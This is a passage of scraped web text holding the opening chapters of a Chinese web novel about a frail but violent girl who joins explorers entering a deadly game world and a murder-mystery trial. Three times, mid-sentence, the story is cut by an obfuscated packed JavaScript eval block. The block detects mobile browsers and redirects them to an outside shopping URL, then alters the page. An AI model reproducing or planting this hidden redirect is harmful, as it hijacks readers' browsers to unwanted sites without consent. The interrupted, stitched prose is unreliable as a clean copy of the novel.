《病弱小白花她睚眦必报》 1. 报名 安全区中心城地势平坦,危险区降临几十年以后的今天,目光所及已经再也没有一点绿色,漫天风沙萧瑟又无情地席卷过境。 风沙太大,安全区几乎所有的房子都很低矮,像预制板房一样的材质却能够在风沙中屹立不倒,据说是什么新型材料。只有一座醒目的灰色大楼例外,那是国家指挥中心,足有五六十层楼高。 他们说那是灯塔,只要伫立人们就不会失去方向。 此刻离指挥中心500米的地方支起了绿色帐篷,几个穿着制服的人坐在帐篷前招呼着众人按规矩排队。 重黎跟着队伍缓缓往前挪,她把下巴往自己的红色围巾里缩了缩,一双琥珀色的眼睛清澈透明。 “咳咳咳——” 轻微的咳嗽声却在安静的队列中引起了注意,或者说她本身就足够引人注目。 重黎的身高在队伍里实在太显眼,原本看起来挺和谐的队伍里到了重黎这儿硬生生变成了“凹”。 她此刻正试图把自己完美隐藏在排在她前面的壮汉背后躲避风沙,突然就对上了隔壁一个黄毛的视线。 “好矮。” “……”重黎脸又往后缩了缩,只露出眼睛上下扫描了一下黄毛。 明明他也不高,还瘦,营养不良头发发黄,看起来比她弟还虚。 黄毛显然不仅是个自来熟还是个话痨,看重黎看他就凑了上来:“喂,小不点儿。你知道这儿是干什么的吗你就来排队?” 重黎跟着队伍往前走,黄毛也紧随其后,像吃了吐真剂一般嘴里停不下来:“这可是来报名探索者的队伍,虽然没什么限制条件,但是想也知道,他们肯定不会要你的。果然是头发长见识短,居然敢来报名。” 重黎摸了摸肚子,饿了,斜着扫了眼黄毛,随着队伍临近报名点,黄毛抖腿的频率在不断加快,语速也同样。 “危险区你知道吗?听说那里面都是可怕的怪物,不过富贵险中求!咱们这个安全区听说就是靠探索者1号队伍从危险区得到的东西建立起来的。” “没想到现在普通人也可以报名参与了,不过像你这种……弱就算了,还是个女人……小心被怪物抓走让你给它生孩子!” “你害怕就回去啊,跟我说干什么?”重黎面上没有任何瞧不起或者讽刺的神情,语气也仅仅是单纯的疑惑,“你贬低我就不会害怕了吗?” 但黄毛仿佛被人刺中了内心深处掩藏起来的阴暗,于是声音直接抬高了八度:“你瞎**说什么呢!我又不是女人,大老爷们儿有什么可怕的,不过是为你好多说几句,至于嘛!死丫头不知好歹,你等着,一会儿落选可别哭鼻子。” 重黎直勾勾地盯着黄毛,视线从他裸露在外的皮肤上扫过,最后停在他的喉咙。 很近,近到只要她一抬手,热腾腾的红色的,就会从他喉管里喷涌而出,很快他就发不出一点声音了。 黄毛打了个寒战,这小女孩儿眼神怪吓人,像蛇一样,他不自觉往后退了一步。 重黎右手放进裤兜,摸了个空。她轻轻歪头,眼神又恢复了懵懂。 她怎么会有这种想法?好奇怪哦,毕业的时候,她可是成功打败了重曜获得了重渊颁发的三好学生奖励,三好学生不能有这种想法。 嗯,重渊说的。重黎也没办法,遗憾地上下扫描了僵硬离开的黄毛一眼。 很快重黎就到了队伍最前方。 穿着制服的工作人员头也不抬,用笔头敲了敲桌子:“报名表。” 重黎从兜里掏出一张皱皱巴巴的纸,看得工作人员直拧眉。 “姓名:重黎,年龄:18,性别:女,身高:159.8,体重:90,擅长:吃,爱好:吃……”工作人员很暴躁,这是来玩儿的还是怎么的,他看了眼重黎本人,又瘦又小,清澈的眼神,笑着展示脸上两颗甜甜酒窝的样子让人火气无端灭了一些。 现在的小孩儿都像她这样,营养不良的样子。工作人员叹了口气,要不是真过不下去了,也不会想着以命相搏。 他拿着重黎的身份卡在机器上刷了一下,对照报名表核对身份,介绍人:重汐,家庭成员…… 等等!他睁大了眼睛,谁?重汐?哪个重汐?1号小队的那个队长? 他猛地抬头看向重黎:“重汐是你的?” 重黎乖巧回答:“我姐。” 工作人员倒吸一口气,看了眼住址,错不了,幸福小区,这可是只有大人物才能住的地方。 不过怎么亲自跑他们这里来报名了,不是有内推吗? 工作人员的眼神在重黎和报名表之间来回打转,重黎泰然自若。于是工作人员告诫自己不能再以貌取人,“啪”一下盖上了金印。 盖上的同时,重黎手背上多了一个金色的罗盘纹路。 黄毛见重黎转身,刚才听得一清二楚的他此刻早已龟缩在了一旁,生怕重黎想起自己来,谁不知道那个重汐都敢和指挥官叫板,更何况他这种小喽啰。 重黎慢吞吞走出去十米,把报名成功送的两大袋东西放在地上,就地蹲下,手里玩儿着什么东西。 众人见她蹲在地上活动手腕儿,想来是累了想休息,便不再关注。 报名处突然传来一阵骚乱。 黄毛摸遍全身上下每一个能放东西的地方,没有!没有!怎么会没有!他花了他最后的一笔钱才换来的推荐人签名! 危险区固然可怕,追债的人更可怕。 他崩溃大喊:“我真的有报名表!我有!我就放在包里的!真的!不,你们不能这样,我很强的!凭什么……唔……” 重黎跟随着众人的视线看向报名处,黄毛已经被工作人员拖走了。 她随手将撕得不能再碎的纸张扬了,然后裹紧围巾,猛吸一口气提起两大袋东西径直离开。 走到一道厚重的合金闸门前,重黎松了一口气,门口李阿姨看见重黎回来,笑眯眯地打招呼:“小黎回来啦,哟,哪儿去搞了这么多东西啊。” “我去街上抢的~”重黎对着她甜甜地笑。 笑得李阿姨心花怒放:“哎哟,你这孩子还是这么会开玩笑。” 她一脚高一脚低,麻利地打开闸门放她进去,末了还给了她一颗糖。 李阿姨右腿齐膝截断,儿子是军人,去年没了。于是上面体恤,让她在幸福小区做个保安。 “东西重不重,阿姨帮你把小曜叫下来吧。” “不用,我可以。”重黎帮李阿姨关上闸门,然后又扶着李阿姨回保安亭,帮她盖上毯子,大风的日子李阿姨就会幻肢疼。 末了又附赠一个甜笑:“李阿姨,我走啦~” “哎,路上小心啊。” 在李阿姨的眼里重黎就是隔壁一个听话懂事,身体不好需要照顾的小孩儿。尽管重黎已经成年了,她还是用和婴幼儿说话的口吻和她对话,而且她并不在意重黎随时冒出的胡话,总是很包容。 最重要的是她每次都会给她糖吃,所以这是除了家人之外唯一一个能让重黎装乖的人。 重黎咂巴着嘴里的糖,真好吃。因为糖太好吃了,所以那些说李阿姨闲话的人她都让她们闭嘴了。 钥匙插进去,打开门,换上她的小兔子拖鞋,一气呵成。 “重曜!”重黎努力举起手中的口袋,“看我带回来了什么!” 站在她面前的不是重曜,而是一个踩着恨天高的中年女人。 重黎一怔,本就握力不足的手垂下,东西散落一地。 女人嫌弃地往后退两步,一脸嫌弃地看着重黎,将笔和纸放在小小的茶几上:“你回来得正好,把这份放弃小曜抚养权的声明签了。” 重黎顺着她的动作看到了坐在沙发上的重曜,平日里的重曜像个斗鸡,现在像个没毛鸡。 见重黎看他,重曜梗着脖子抬头:“药研所出了新药,她有门路。” “没错,我答应他了,快签吧。我好歹是小曜亲姑姑,还能害了你们不成,早让你签的时候就签了多好不是?” 重黎的疑问都已经溢于言表,她蹭蹭蹭冲到重曜面前,不说话就这样疑惑地看着他。 重曜脸涨得通红:“你干什么!哑巴了!” “我看这么蠢的人怎么会是我弟,虽然没有血缘关系但好歹也是重汐养大的……”重黎遗憾摇头,“啧啧啧。” 重曜刚才的心虚立马被愤怒取代:“那怎么办!不这样哪来的药!你要死了!” “你信不信,今天我签了这个放弃声明,明天我就会死于非命,她就能带着一大家子进这个门。还有,她就是一个药研所扫地的,你觉得她能有什么门路啊?你觉得你比重渊聪明?要是她可靠,重渊会把你的监护权转给刚成年的我?” “你这小丫头片子说什么呢!我是试用期研究人员!什么扫地的!你别不识好人心啊!”女人冷哼,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501950|202782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我告诉你,这基因病可拖不得。现在还能像个人,但要是不赶紧治疗,要不了多久就只能变成六亲不认的怪物!” 重黎充耳不闻,女人抑扬顿挫的声调在她这里惊不起一点波澜,她直直盯着重曜。 看着重曜的眼眶随着女人的话变得通红,豆大的泪滴在大眼睛里打转,死死咬着嘴唇不开口,内心毫不波动,但这是弟弟。 重黎问道:“你真想跟她走?” 见重曜不开腔,女人开口,自觉苦口婆心:“你们俩还想着等重汐重渊回来呢?别想了,进了高级危险区的有几个回得来,我看早死了。重黎你就是个丧门星、冷血的怪物,愣是把哥姐都送走了,要我说……” 听见这话,重曜“刷——”地一下从沙发上跳起来:“你说什么呢!” 然而就算他跳起来再怎么虚张声势,没毛的小鸡仔也变不成老鹰。 女人撇撇嘴,小孩子顶嘴一定得打才知道疼,刚想开口教育他两句,一把锃亮的砍刀横到了她脖子上。 刀尖贴着脖颈的皮肤,冰凉的触感顺着血管往骨头缝里钻,这不是感觉而是写实的形容。 女人立马反应过来这是危险区出来的刀,两个小孩儿怎么会有这种东西!一种名为恐惧的情绪瞬间控制了迟钝的大脑。 重黎把刀往下压,女人的脖子瞬间出现一道血痕。 女人瞬间冷汗直冒,骨头发软。 重黎虽然身形比女人矮,但她睥睨的眼神和从容的姿态根本看不出来是处于弱势,她仿佛看着一只蚂蚁:“我死不死不知道,但你要再敢来,一定比我先死。” 女人不敢说话只能拼命眨眼示意自己知道了。 重黎看着女人脖子上溢出的血迹,舔了舔嘴唇。 “姐!” 重黎看向重曜,一脸紧张生怕她下手,重黎啧了一声,挪开了刀。 挪开的瞬间女人便慌不择路逃走。 重黎随手拿起桌上的帕子把刀擦干净,又藏回沙发底。 重曜立马又大声了:“你不是说已经扔了吗!” “哦,骗你的。” 重曜气不打一处来,从重汐的死讯传来、重渊离开的那天起,他甚至晚上睡觉都不敢合眼,生怕自己眼睛一闭,再醒来见到的就是一个变成怪物的重黎。 而且最近重黎越来越不听话了,二哥走了之后重黎就变了个人,面不改色剁鸡的样子他看了都害怕。 今天还偷偷跑出去了,重曜看了一眼瘫在沙发上的重黎,开始机械收拾地上的东西。 心里发愁脑子还在转,二哥留下的钱都给重黎买药剂了。他还没成年,重黎的身体他不可能让她出去工作,他们俩应该怎么养活自己? 收拾着收拾着重曜顿住,足足愣了一分钟他才回过神,手中捏着那张纸平静地问瘫在沙发上的重黎:“这是什么?” 重黎瞥了他一眼:“哦,我今天去外面看到有人排队领东西,我就去领了。你看!好多吃的。” “重黎!你别装疯卖傻!你真疯了不成!危险区探索志愿书!”重曜气得浑身发抖,一直盘踞他身边的恐惧感在此刻终于攫住喉咙,他一把抓住重黎的手:“走!去撤销,对,还可以撤销。” 重黎站在原地不动:“哦,骗你的啦,其实是重渊留给我们的。” “你放屁!重渊要留也是给我留!留给你迟早被挥霍了!别骗我,你撅屁股我就知道你要拉什么味道的屎!” 重黎一脸真心实意的嫌弃:“噫,你好恶心。” 然而下一秒重黎也说不出话来了,因为重曜,哭了。 重曜用手背抹掉大颗大颗的泪水:“那我替你去!你不能去,你不能去!” 一片沉寂过后重曜终于爆发,哇哇大哭起来,他的眼神是那么绝望、那么痛苦。 探索者最基本的条件是成年。 一个一个都离他而去,他最后的亲人,最后的……姐姐。他是个废物。 重黎歪头,为什么要哭?重曜的情绪总是非常丰富,在她的理解范围之外。 “啪——” 重黎双手张开,把重曜的脸夹在中间用力往里挤,又往外拉扯:“我饿了。” 重曜眼泪鼻涕一抹,爬起来去给重黎做饭,一边做一边忍不住还哭。 直到饭端上来,重曜还在哭。 重黎瞄他一眼,把最后一个鸡腿夹进自己碗里才开口:“重汐没死。” 2. 谁杀了她1 “我最近一直在做梦。梦里有一只兔子,红色纽扣做的眼睛,歪歪扭扭的线封成的嘴巴,它浑身上下都黑黢黢的,它身后有一个人影。然后,我听见……” “听见……什么?” “它让我去找它。”重黎肯定道。 重曜:“那就是一个梦!而且这梦和大姐有什么关系啊!这根本不是你瞒着我去报名的理由!” “可那是重汐送给我的兔子。” “重汐送的?”重曜一怔,努力在记忆里搜寻,好像是有一只兔子,但不是重黎描述的那个样子吧? 重曜还在犹疑,重黎补充:“而且我连续做了很久了,怎么可能会有一模一样的梦!” 重曜一震,紧接着开始自责,因为她的身体他一直处于紧绷的状态,所以平时像个老妈子一样管东管西。她都没有把这件事告诉他,是不是自己太凶了。 重黎一看重曜的表情就知道他在想什么,于是她啪一下拍在重曜的脑袋上,食指指向自己:“我是姐姐。” 重曜又被重黎打断了情绪,内心有点不甘,又不得不承认这个客观事实,虽然平时都是他照顾她。 事情已成定局,重曜表情逐渐变得坚定。 第二天,安全区边界线。 重曜背着包跟在重黎身后,看着眼前壮观的一幕惊叹出声:“好美啊!” 昨晚硬生生被重曜拉着补了一晚上知识点的重黎迷迷糊糊睁开眼睛。 眼前一大片瑰丽的极光如同女神轻柔舞动的裙摆无限延伸出去,交错的光芒将一切黑暗挡在安全区之外。 重黎试图看清外面的景象,却一无所获,所有窥探的目光都被这光幕扼杀。 平日里边界线向内延伸一公里,那里伫立着二十米高的城墙,城墙到光幕这一环形带都不允许人停留,如果有人未经允许越过城墙将会极其显眼,会被城墙上的看守制服。 而今天是重黎出发的日子,重曜作为家属被允许送行。 重黎缓缓向光幕靠近,如同着魔般将手靠近光幕。 “退后。”一个低沉的男声将重黎惊醒。 重黎猛地转头,一个胡子拉渣的两米大汉的身影完全笼罩了他,他的眼睛如同一潭死水,与重黎对视之时沉闷的声音再次响起:“退后。” 重黎条件反射扬起一个甜甜的笑,老老实实走回了重曜身边,重曜一把握住了她的手,警惕地看着大汉。 “所有人都到齐了。”大汉背对光幕站在所有人面前。 重黎这才注意到周围多了很多人,有兴奋雀跃的,有强装镇定的,还有一脸平静的。 众人百态大汉并不在意,他语速平稳,仿佛带着安抚人心的力量:“不管你们以前是什么身份,从此刻开始,你们都选择走上了相同的道路。现在,我要你们清楚地认识一件事……” 大汉右脚一剁,肩上灰色的破烂披风无风自动,一股骇人的威压扩散开来。 “探索者,向死而生。”大汉一字一顿,“这是一条死亡风险极高的道路,你们确定要选吗?” 心脏猛然收紧,呼吸变得浅而急促,手心后背瞬间渗出冷汗,像从高处坠落的失重下坠感。重黎看着自己微微颤抖的右手,这就是恐惧吗? 随着威压消散,重黎回过神,随之而来的是一种陌生的兴奋。 重黎很少有剧烈的情绪波动,她和这个世界就像隔着一层无形的塑料薄膜。 而此刻,这个大叔身上散发出来的杀气仿佛将这层塑料薄膜戳出了一个洞,恐惧,她清晰地感知到了恐惧。 从小被兄弟姐姐保护得密不透风的重黎,却并不畏缩,反而有一种熟悉的本能在苏醒。 对上重黎跃跃欲试眼神的大汉,眯了眯眼睛,就是这个眼神。 大汉右手中突然出现一个球状物体,随意擦拭了两下,球体发出金色的光芒,他身后的光幕与之呼应,出现一道道金色的门。 “这是通往危险区的门。通过登陆筛选,你们才拥有角逐的资格。”大汉停顿一下,声音没有变化眼神却对着重黎,“各位,不管什么时候,怀疑一切但保持思考。” “现在,坚持自己选择的人可以出发了,祝你们好运。” 话音刚落,重黎向前一步却被拉住了,重黎回头,重曜双手紧紧攥着:“他的意思是还可以退出?” 重黎轻轻拍拍他的头:“我会回来的。” 然后头也不回地往前走。 “姐!”重曜大喊,他异常地恐慌,心脏仿佛要从嗓子眼里跳出来了。 重黎背上背包,没回头,但抬起了右手轻轻挥了一下。她走得太过坚决,就好像那光幕背后才是属于她的世界。 当重黎的身影完全被光幕吞噬的瞬间,一个机械女声从黑暗中传来。 “冒险者小镇登陆筛选,正式开始。” 重黎再次睁眼,面前有一张巨大的桌子,而自己坐在一张木凳子上,身体被束缚住了动不了。 重黎第一时间看到对面坐着两个人,一个看起来三十岁左右的短发女人,一个坐着也高出其他人一大截的肌肉男,两人都警惕地打量着四周。 这是一个密闭空间,重黎可视范围内有各种华丽的花瓶、画作,还有报纸和书刊,像是一个会客厅。 直到重黎将房间观察的差不多,一个僵硬的声音响起:“都到齐了,那就开始吧。” 身体周围一松,重黎第一时间转向声音传来的方向,桌子上首是她的视线盲区,刚刚这里明明没有人。 看清楚右边上首的瞬间,重黎有些惊讶,这里坐着一个木偶。 肉眼可见的木头纹理、劣质的仿真头发,胸前的麻布衣服上突兀地别着一枝娇艳的玫瑰。此刻它的下巴不断地开合发出轻微的碰撞声:“动物城著名演说家牛楠小姐昨日在家中被害,你们都有嫌疑!找出凶手,否则,桀桀桀——伟大的皮先生就会有一顿美味的晚餐了。” 重黎仔细打量着木偶,没有命杆也没有提线,也就是说没有人在控制这个木偶,它是活的? 下一秒,木偶头上出现了绿色光标,上面写着动物城警局特聘顾问皮先生。 其他人头上也出现了光标,不过是黄色。重黎沿着光标指的方向下移的时候,瞳孔骤缩,对面的两人光滑的皮肤上长出了毛发,顷刻间变了一个模样。 肌肉男此时穿着一身得体的西装,脸上黄黑相间的毛发和胡须,这是一只老虎,他头上的光标写着牛楠丈夫胡威。 而短发女人头上长出一对兔子耳朵,上嘴唇从中间裂开,光标上写着牛楠的密友图菟。 重黎脑袋一重,右手摸了摸头顶,坚硬的角,桌上反光的餐盘映出自己矩形的瞳孔,是山羊,她叫羊花。 他们都变成了动物,此时一个充满活力的声音打破了寂静。 “靠!我鼻孔怎么在喷气啊!” 重黎看向左边:“噗嗤。” 刚才被木偶吸引了视线,没注意到她的左手边还有人,这时他已经变成了一头牛,只有头顶是像枯草一般的黄色,看起来还挺有特色。头上的光标写着牛楠弟弟牛磊。 皮先生说话了:“肃静!到底是谁杀了牛楠!” 随着皮先生话音落下,之前重黎听到的机械声再次响起。 “F级副本,【谁杀了她?】现在开始。各位冒险者将有三轮机会搜证,每轮限时三分钟。三轮结束后,请各位冒险者检举凶手。检举成功则通关游戏,失败将接受惩罚。” “滴——第一轮搜证开始。” 随着机械声播报结束,重黎只感觉周围眼前一花,空间变化了。 这是一个足有50平的客厅,装潢华丽,但几人的视线却不约而同地集中在了一处。 一具新鲜的尸体倒在茶几旁的血泊中,血腥味儿充斥着整个房间。 明显的非人特征,硕大的牛蹄和角,这就是被杀的她。 “咳,我们要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501951|202782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不自我介绍一下?”牛磊打破了寂静。 胡威嗤笑一声:“有什么好介绍的。” 说完自顾自地走开,图菟显然也没心思搞什么自我介绍,自顾自走开了。 牛磊尴尬挠了挠脸:“搞什么,一点都不团结友爱。” 和黄毛对上视线的瞬间,重黎扬起一个甜甜的笑,重汐说笑容能够降低别人的防备心,先礼后兵是传统美德。 黄毛一愣,下意识回了个笑容,不好意思地挠挠头走开,抓紧时间搜证去了。 重黎凑到尸体旁边,皱了皱眉,捂住了鼻子,好大的血腥味儿。 牛楠的左半边尸体有被撕咬的痕迹,露出了部分内脏,残缺的肋骨上有锯齿状的齿痕,她胸口的衣服已经被浸泡成了深红色,血迹也已经将大半个地毯染红。 重黎看了看旁边,桌子上摆着一套茶具,只有一个茶杯,满地都是碎裂的玻璃碎片,风从破窗户灌进来,吹得窗帘呼呼作响。 就在周围东翻西找的牛磊突然出声:“我找到东西了!” 重黎闻声望去,牛磊手中拿着一个笔记本正兴冲冲地走过来:“来,一起看!” 重黎歪头:“这是你找到的。” “对啊!”神经大条的少年没有意识到这不是个问句,反而催促着重黎,“快看!” 日记本被翻开,上面的文字像过场动画片一样自己动了起来。 【新历23年玫瑰月3日,我和她相遇了,她救了我。】 是胡威的日记。 【新历23年玫瑰月9日,橡果酒吧里,她说喜欢我的‘儒雅’,我的心脏跳得很快。】 【新历23年向阳月21日,她又救了我,她像光一样。】 【新历24年百合月28日,我们相爱了。】 【新历26年桂月,她说我变了,不够温顺,我的爪子太利了。】 【新历27年梅花月,竞选竞选竞选!又是竞选!难道我是个工具吗!!!】 【新历29年水仙月,她快成功了,他们说我是叛徒,食肉动物的叛徒。】 【新历29年水仙月,他们说得对,她不是光,是......】 日记很短,很快就放映完毕,最后一页方法有一页划痕,看不出是什么字样。 是什么?重黎还在思考的瞬间,眼前一花,他们回到了会客厅。 “第一轮搜证结束,休息时间十分钟。” 重黎还没出声,对面的男人也就是胡威大叫一声:“艹!这么短的时间怎么找!” “桀桀桀——”皮先生短短的手指中间夹着一根烟,右手拿着一张报纸,如同真人一样坐在上首一边发出阴测测的笑声一边吞云吐雾。 肌肉男也就是胡威现在显然比刚才暴躁了许多,他刷地一下从座位上站起来,直直地冲着木偶冲过去:“你笑什么!信不信老子拆了你!” 然而还没靠近皮先生,他的脖子上就被开了一道口,鲜血很快染红了毛发。 胡威顿住,颤颤巍巍地看向皮先生,它的木头眼睛动的飞快,下巴飞速开合,胡威发誓他绝对从它的脸上看到了跃跃欲试的兴奋,下意识退后两步。 他的退后让皮先生瞬间没了兴趣,右手将烟头直接按灭在桌子上,撑住下巴:“休息时间十分钟,你们自由活动吧。” 说完便没了动静。 重黎皱了皱鼻子,烟味儿太难闻了,她把下半张脸藏进围巾里。 一片寂静中,图菟率先开了口:“搜证时间只有三分钟,这明显是一个合作项目,各位我们交换一下信息吧。相信各位都不想折在第一关吧?” 重黎看了眼图菟,三个人里面好像只有她还保持着冷静,此话一出,既替胡威缓和了尴尬又打开了新的局面。 她拿出了一小个瓷瓶递给胡威,温和地笑了:“先缓一缓。” 重黎歪头,重曜给她准备的东西好像都不见了,她的东西为什么还能留下? 3. 谁杀了她2 旁边心直口快的牛磊直接问了:“哇,我们的东西都没了,你怎么带进来的?我也准备了药物来着。” 图菟一愣,然后神秘的笑了笑没回答这个问题转而说起了其他:“我们各自被安排的身份和牛楠都有一定的关联,然而空有身份,脑子里却没有任何记忆,我们能获得信息的来源都只能靠搜证,大家都同意吧?” 她一边说一边观察着众人的表情,都没有任何不自然,她皱了皱眉接着说道:“以你们三人和牛楠的关系,丈夫、弟弟、保姆,应该都在那套房子里有相应的房间。那么目前看来,嫌疑最小的人应该是我。” 刚才被她帮助过的胡威没有说话,牛磊却没有顾忌,他直接反驳:“为什么?说不定就是你呢,你这么特殊。” 不知道为什么,他看见这个女人有种面对那个肌肉男一样的感觉,还是小女孩儿可爱。 图菟没有生气,冷静地解释道:“因为时间太短了,我作为一个没有居住在这套房子里的人,能找到关于我的线索几率太小。在进入游戏之前,大家应该都听到了,这只是一个F级副本,不知道你们了解多少,但是我,咳,比较清楚。” “危险区副本分为F到S,作为冒险者登陆的初步筛选,一般情况下都会是最低等级的F级,三轮三分钟不到九分钟的时间,那套房子目测两百多平,能藏东西的地方数不胜数,如果我是凶手,你们觉得我们四个新手得要多好的运气才能找到线索?” 一番话条理清晰,逻辑通顺,还暗示自己有特殊的消息来源,信服力明显上升,众人没有反驳。 “那么大家如果认可,我们抓紧时间交换信息吧。羊花,对吗?”图菟看向顶着山羊头的重黎,她刚才就注意到了这个小女孩儿,虽然知道能够进入危险区必然是成年人,但她还是显得过于娇小。娇小,且有种异于常人的冷静。 刚才自己在做推论时,这个小女孩儿的注意力并不在她身上。 重黎的视线从皮先生身上收回,发现其他三人都在看自己,她才反应过来羊花是在叫自己,她条件反射扬起笑容。 “你是牛楠的保姆,我刚刚在你的房间床底下找到了一堆欠条,你似乎正在被高利贷压迫,而他们给了你一些药剂,希望你让牛楠错过选举,我检查过了,房间里的药剂少了一些。” 胡威刷地一下看向重黎,眼神里闪烁着危险的光芒。 重黎歪头:“我不知道。” 已经包扎好的胡威一下又跳了起来,声量巨大:“你说不知道就不知道?说不定凶手就是和我们其他人不一样,有信息才便于你隐藏吧?” 胡威作为在场唯一一个食肉动物,虽然实际身体还没有牛楠高大,但食物链本身带来的威慑,确实让其他三人都感到了不适。 他爪子前伸,几乎要越过桌子凑到重黎面前。 重黎没做出任何反应,牛磊突然站了起来将重黎拉开,站在她身前直面胡威:“你干什么!大老爷们对着小姑娘吼算怎么个事儿,有本事你去朝着那木偶吼啊!说话就说话,动什么手脚!” 重黎眨巴眨巴眼睛,看着站在面前的黄毛,这个牛有点傻。 “她嫌疑最大!” “她怎么就嫌疑最大了!我们刚刚还找到了你的日记呢!就在花盆底下!”也许是肾上腺素飙升,大脑飞速运转,牛磊一下想起来了,那些划痕像什么,“食物!对,日记的最后你发疯了,你和牛楠感情破裂,还说她是食物!想要吃了她!” 重黎小声补充:“尸体上的肌肉撕裂像是大型食肉动物的撕咬痕迹。” 局势瞬间转变,三人的视线又转向了胡威,胡威呼吸急促,脖子上青筋暴起,眼看要失去控制。 皮先生突然开口:“啊,对了,忘记说了,这个游戏内禁止暴力哦~” 机械音适时响起:“第二轮搜证开始。” 图菟和牛磊都不自觉地松了一口气,胡威太容易激动了。 不着痕迹地看了一眼重黎,图菟走向牛磊,两人交涉了一下便一起走进旁边胡威的房间里,显然是去找刚刚说的日记。 重黎忽略胡威的视线,随便选了一个房间走了进去。 这显然是一个男性的房间,摆满了各种运动器械,非常地有生活气息。 重黎走近书桌,上面摆放着一张“梦想”橄榄球队的合照,是牛磊的照片。 重黎刚拿起照片,客厅外突然发出一阵尖叫声:“啊——” 重黎快速走出房门,图菟双手捂着嘴唇,方才游刃有余的镇定模样消失,取而代之的是藏都藏不住的惊恐。 客厅中央,胡威的西装变得破破烂烂,他身形相比刚才突然变大了两倍,整个人伏在地上喘着粗气,嗅着牛楠的尸体,瞳孔缩成了竖线,嘴角还残留着鲜血。 旁边地板上多出来了一块儿血肉,明显是从胡威嘴里吐出来的,此时他理智回笼,眼神中充满了惊恐:“我,不是,我......” 其余两人都没有说话生怕激怒胡威,在场的都可以是他的食物。 而站在房间门口的重黎突然耸了耸鼻子,有股腐烂的味道。 就在这时,机械播报声响起:“第二轮搜证结束。” 回到会客厅,皮先生两只脚交叉放在桌面上,身体放松靠在椅背,整个头藏在报纸后面正小声哼着歌,见众人回来,阴测测的笑道:“桀桀桀,看来皮先生很快就要饱餐一顿了。啦~啦啦~啦~” “为什么?” 皮先生晃动的脚腕一停,报纸被挪开,木头做的脸露了出来,它看着眼前这个戴着红围巾的山羊,挺稀奇,居然有人跟它搭话,于是它像吓小孩儿一般突然一下凑到重黎眼前,一字一顿:“因为你们都会死在这里啊,烧烤小羊最好吃了,桀桀桀。” “真的吗?” “当然,皮先生从不说谎!” 重黎没有被吓到,反而笑了,笑眯眯的眼睛像一轮弯月。 接下来重黎便不再说话,在这个空间里四处转悠了起来,皮先生的头跟随着重黎的方向转动,半晌,他哼了一声,用报纸重新遮住了自己的脸。 一旁的图菟显然还没有缓过神来,虽然牛楠是动物,但那也是类人形态还是尸体,她可从来没有见过这样的场景。 牛磊心有余悸地靠近重黎,小声说道:“妈呀,太吓人了,他怎么,怎么......” 重黎没有理会,学着皮先生随手拿起一张报刊上的报纸看了起来。 【著名演说家牛楠小姐和猛虎家族小公子胡威喜结连理……】 【震惊!牛楠小姐在用的减肥方法竟是……】 【草食动物大游行!强烈要求强制肉食动物出门戴嘴套……】 这边,重黎饶有兴致地看着动物城日报。 那边的图菟明显地焦躁了起来,这一轮结束就只剩下最后一次搜证了,刚刚的那一轮……她看了一眼还抱着头蹲在一旁的胡威,什么都没干成。 牛磊显然也有些担心,却没有图菟那么明显,坐在重黎旁边像只大狗。 重黎看了他两眼:“你不着急吗?” 牛磊没想到这个话很少的小女孩儿这时居然愿意跟他搭话了,他藏起自己的担忧,试图给重黎一点信心:“没关系,大不了猜一个,三选一,我运气还可以。” “不过也可以先分析一下。”他食指戳在太阳穴上,试图给搜寻一些未知讯号:“我想想啊,那个尸体上有猛兽咬痕,而且他刚刚那个样子不太正常,似乎是受了真正的胡威的影响。还有羊花,欠了高利贷,那些药剂我刚刚去看了,无色无味,也不清楚是什么成分。图菟,就她一个什么线索都没有,这么特殊,似乎也有点嫌疑。” 牛磊摸了摸脑袋:“嗯?好像谁也没排除掉啊?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501952|202782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 重黎的嘴埋在围巾里,声音翁翁地:“那你呢?” “嗯?我?” “牛磊。” “牛磊?”他愣住了,“对哈,也没有信息说明牛磊不是凶手啊。” 重黎笑了,好像从始至终只有这个黄毛把这个案件里的动物和他们本身分得特别开。 黄毛凑近她:“你是不是发现了什么啊?” 重黎:“你觉得我发现了什么吗?” 黄毛挠了挠头:“我就感觉你挺厉害的啊,明明这么小但是刚刚看到那种场景都不慌。我直觉还挺准的,你肯定不简单。” “那我为什么要告诉你啊?” “嗯?”黄毛煞有介事地点头,“我觉得你是个好人。” 好人?重黎弯起眼睛,竖起一只手指煞有介事道:“其实,凶手就是你。” 黄毛瞪大眼睛看着她,没想到她真的给了他答案,他看了一眼那边的两人,捂住嘴巴压低声音:“你怎么发现的?” 重黎歪头:“居然信了。” “?”黄毛震惊脸,“你是骗我的吗?!” 